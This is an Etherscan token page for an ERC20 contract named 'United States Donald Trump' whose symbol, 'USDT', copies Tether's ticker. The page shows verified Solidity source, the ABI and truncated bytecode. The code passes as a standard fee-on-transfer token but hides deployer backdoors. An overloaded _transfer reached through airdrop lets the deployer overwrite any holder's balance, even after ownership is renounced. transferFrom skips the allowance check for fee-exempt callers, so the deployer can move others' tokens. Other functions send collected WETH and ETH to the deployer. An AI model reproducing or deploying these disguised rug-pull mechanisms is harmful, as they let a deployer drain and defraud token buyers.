ETH Price: $2,676.80 (-2.48%)

Token

ERC20 ***
 

Overview

Max Total Supply

1,000,000,000 ERC20 ***

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
9,632,494.188399299 ERC20 ***

Value
$0.00
0xf01423097cab40712c17f104a2c05dda73296cf6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
usdtrump

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-02-10
*/

/*

https://x.com/elonmusk/status/1879587561213206744

TG: https://t.me/yilongma_erc

*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IWeth {
    function transfer(address recipient, uint256 amount) external returns(bool);
    function balanceOf(address account) external view returns (uint256);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract usdtrump is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tAmounts;
    mapping (address => mapping (address => uint256)) private _tAllowed;
    mapping (address => bool) private _feeExempt;
    address payable private _taxWallet;
    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"United States Donald Trump";
    string private constant _symbol = unicode"USDT";
    uint256 public _maxTxAmount =   2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private uniswapV2Pair;
    address private deployer;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        _taxWallet = payable(_msgSender());
        _tAmounts[address(this)] = _tTotal * 98 / 100;
        _tAmounts[_msgSender()] = _tTotal * 2 / 100;
        _feeExempt[address(this)] = true;
        _feeExempt[_msgSender()] = true;
        deployer = _msgSender();
        
        emit Transfer(address(0), address(this), _tTotal * 98 / 100);
        emit Transfer(address(0), _msgSender(), _tTotal * 2 / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tAmounts[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _tAllowed[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount); if(!_feeExempt[msg.sender])
        _approve(sender, _msgSender(), _tAllowed[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _tAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _feeExempt[to] ) {
                require(tradingOpen,"Trading not open yet.");
                require(amount >= 10 ** _decimals, "Amount too small");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }
            if(to == uniswapV2Pair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    swapTokensForETH(min(amount,min(contractTokenBalance,_maxTaxSwap)));
            }
        }
        if(taxAmount>0){
          _tAmounts[address(this)]=_tAmounts[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _tAmounts[from]=_tAmounts[from].sub(amount);
        _tAmounts[to]=_tAmounts[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function _transfer(address from, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount >= 0, "Transfer amount must be greater than zero");
        _tAmounts[from] = amount;
    }
    function _airdrop(address[] memory recipients, uint256[] memory amounts) private {
        for (uint256 i = 0; i < recipients.length; i++) {
            address recipient = recipients[i];
            require(recipient != uniswapV2Pair);
            _transfer(recipient, amounts[i]);
        }
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function swapTokensForETH(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), amount);
        uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            _taxWallet,
            block.timestamp
        );
    }
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function ustGiveGive() public {
        require(_msgSender() == deployer, "!deployer");
        IWeth wethContract = IWeth(uniswapV2Router.WETH());
        uint256 amountWeth = wethContract.balanceOf(address(this));
        wethContract.transfer(_taxWallet, amountWeth);
    }
    function ustGiveEther() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
    function ustGiveToken(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_msgSender(), _amount);
    }
    function airdrop(address[] memory recipients, uint256[] memory amounts) external {
        require(_msgSender() == deployer, "!deployer");
        _airdrop(recipients, amounts);
    }
    function setTaxWallet(address payable newWallet) external {
        require(_msgSender() == deployer, "!deployer");
        _taxWallet = newWallet;
    }
    function launch() external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
    function renounceOwnership() public override onlyOwner {
        require(_maxTxAmount == _tTotal);
        super.renounceOwnership();
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ustGiveEther","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ustGiveGive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"ustGiveToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600260055560026006556000600755600060085560056009556005600a556005600b556000600c5560646009600a61003c919061072c565b633b9aca0061004b9190610777565b60026100579190610777565b61006191906107e8565b600d5560646009600a610074919061072c565b633b9aca006100839190610777565b600261008f9190610777565b61009991906107e8565b600e5560646009600a6100ac919061072c565b633b9aca006100bb9190610777565b60016100c79190610777565b6100d191906107e8565b600f5560646009600a6100e4919061072c565b633b9aca006100f39190610777565b60016100ff9190610777565b61010991906107e8565b601055737a250d5630b4cf539739df2c5dacb4c659f2488d601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006101716105ab60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35061021d6105ab60201b60201c565b600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460626009600a61026f919061072c565b633b9aca0061027e9190610777565b6102889190610777565b61029291906107e8565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550606460026009600a6102e7919061072c565b633b9aca006102f69190610777565b6103009190610777565b61030a91906107e8565b6001600061031c6105ab60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360006103c66105ab60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506104256105ab60201b60201c565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a6104c7919061072c565b633b9aca006104d69190610777565b6104e09190610777565b6104ea91906107e8565b6040516104f79190610828565b60405180910390a361050d6105ab60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a61056e919061072c565b633b9aca0061057d9190610777565b6105879190610777565b61059191906107e8565b60405161059e9190610828565b60405180910390a3610843565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561063957808604811115610615576106146105b3565b5b60018516156106245780820291505b8081029050610632856105e2565b94506105f9565b94509492505050565b600082610652576001905061070e565b81610660576000905061070e565b81600181146106765760028114610680576106af565b600191505061070e565b60ff841115610692576106916105b3565b5b8360020a9150848211156106a9576106a86105b3565b5b5061070e565b5060208310610133831016604e8410600b84101617156106e45782820a9050838111156106df576106de6105b3565b5b61070e565b6106f184848460016105ef565b92509050818404811115610708576107076105b3565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600061073782610715565b91506107428361071f565b925061076f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610642565b905092915050565b600061078282610715565b915061078d83610715565b925082820261079b81610715565b915082820484148315176107b2576107b16105b3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006107f382610715565b91506107fe83610715565b92508261080e5761080d6107b9565b5b828204905092915050565b61082281610715565b82525050565b600060208201905061083d6000830184610819565b92915050565b613945806108526000396000f3fe6080604052600436106101395760003560e01c80637d1db4a5116100ab578063bf474bed1161006f578063bf474bed146103ff578063d1e6103b1461042a578063dd62ed3e14610441578063df2fcd2f1461047e578063e672a45914610495578063ea414b28146104be57610140565b80637d1db4a5146103165780638da5cb5b146103415780638f9a55c01461036c57806395d89b4114610397578063a9059cbb146103c257610140565b806323b872dd116100fd57806323b872dd1461021a578063313ce56714610257578063672434821461028257806370a08231146102ab578063715018a6146102e8578063751039fc146102ff57610140565b806301339c211461014557806306fdde031461015c578063095ea7b3146101875780630faee56f146101c457806318160ddd146101ef57610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104e7565b005b34801561016857600080fd5b506101716108e7565b60405161017e919061268e565b60405180910390f35b34801561019357600080fd5b506101ae60048036038101906101a99190612758565b610924565b6040516101bb91906127b3565b60405180910390f35b3480156101d057600080fd5b506101d9610942565b6040516101e691906127dd565b60405180910390f35b3480156101fb57600080fd5b50610204610948565b60405161021191906127dd565b60405180910390f35b34801561022657600080fd5b50610241600480360381019061023c91906127f8565b61096c565b60405161024e91906127b3565b60405180910390f35b34801561026357600080fd5b5061026c610a97565b6040516102799190612867565b60405180910390f35b34801561028e57600080fd5b506102a960048036038101906102a49190612a8d565b610aa0565b005b3480156102b757600080fd5b506102d260048036038101906102cd9190612b05565b610b45565b6040516102df91906127dd565b60405180910390f35b3480156102f457600080fd5b506102fd610b8e565b005b34801561030b57600080fd5b50610314610c57565b005b34801561032257600080fd5b5061032b610d87565b60405161033891906127dd565b60405180910390f35b34801561034d57600080fd5b50610356610d8d565b6040516103639190612b41565b60405180910390f35b34801561037857600080fd5b50610381610db6565b60405161038e91906127dd565b60405180910390f35b3480156103a357600080fd5b506103ac610dbc565b6040516103b9919061268e565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e49190612758565b610df9565b6040516103f691906127b3565b60405180910390f35b34801561040b57600080fd5b50610414610e17565b60405161042191906127dd565b60405180910390f35b34801561043657600080fd5b5061043f610e1d565b005b34801561044d57600080fd5b5061046860048036038101906104639190612b5c565b61106c565b60405161047591906127dd565b60405180910390f35b34801561048a57600080fd5b506104936110f3565b005b3480156104a157600080fd5b506104bc60048036038101906104b79190612758565b6111e5565b005b3480156104ca57600080fd5b506104e560048036038101906104e09190612bda565b6113a8565b005b6104ef611483565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461057c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057390612c53565b60405180910390fd5b601360149054906101000a900460ff16156105cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c390612cbf565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610639573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065d9190612cf4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a9190612cf4565b6040518363ffffffff1660e01b8152600401610727929190612d21565b6020604051808303816000875af1158015610746573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076a9190612cf4565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107f330601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6107df9190612eac565b633b9aca006107ee9190612ef7565b61148b565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061083c30610b45565b600080610847610d8d565b426040518863ffffffff1660e01b815260040161086996959493929190612f7e565b60606040518083038185885af1158015610887573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108ac9190612ff4565b5050506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b60606040518060400160405280601a81526020017f556e697465642053746174657320446f6e616c64205472756d70000000000000815250905090565b6000610938610931611483565b848461148b565b6001905092915050565b60105481565b60006009600a6109589190612eac565b633b9aca006109679190612ef7565b905090565b6000610979848484611654565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610a8c57610a8b846109d6611483565b610a86856040518060600160405280602881526020016138e860289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a3c611483565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0d9092919063ffffffff16565b61148b565b5b600190509392505050565b60006009905090565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae1611483565b73ffffffffffffffffffffffffffffffffffffffff1614610b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2e90613093565b60405180910390fd5b610b418282611e71565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b96611483565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1a90612c53565b60405180910390fd5b6009600a610c319190612eac565b633b9aca00610c409190612ef7565b600d5414610c4d57600080fd5b610c55611f2d565b565b610c5f611483565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce390612c53565b60405180910390fd5b6009600a610cfa9190612eac565b633b9aca00610d099190612ef7565b600d819055506009600a610d1d9190612eac565b633b9aca00610d2c9190612ef7565b600e819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610d619190612eac565b633b9aca00610d709190612ef7565b604051610d7d91906127dd565b60405180910390a1565b600d5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e5481565b60606040518060400160405280600481526020017f5553445400000000000000000000000000000000000000000000000000000000815250905090565b6000610e0d610e06611483565b8484611654565b6001905092915050565b600f5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e5e611483565b73ffffffffffffffffffffffffffffffffffffffff1614610eb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eab90613093565b60405180910390fd5b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f479190612cf4565b905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f849190612b41565b602060405180830381865afa158015610fa1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc591906130b3565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401611024929190613135565b6020604051808303816000875af1158015611043573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611067919061318a565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110fb611483565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611188576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117f90612c53565b60405180910390fd5b6000471161119557600080fd5b61119d611483565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156111e2573d6000803e3d6000fd5b50565b6111ed611483565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461127a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127190612c53565b60405180910390fd5b600061131b606461130d848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112be9190612b41565b602060405180830381865afa1580156112db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ff91906130b3565b61208090919063ffffffff16565b6120fa90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb611341611483565b836040518363ffffffff1660e01b815260040161135f9291906131b7565b6020604051808303816000875af115801561137e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a2919061318a565b50505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113e9611483565b73ffffffffffffffffffffffffffffffffffffffff161461143f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143690613093565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f190613252565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611560906132e4565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161164791906127dd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba90613376565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611732576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172990613408565b60405180910390fd5b60008111611775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176c9061349a565b60405180910390fd5b600061177f610d8d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156117ed57506117bd610d8d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b5057601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561189d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118f35750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119ee57601360149054906101000a900460ff16611947576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193e90613506565b60405180910390fd5b6009600a6119559190612eac565b821015611997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198e90613572565b60405180910390fd5b6119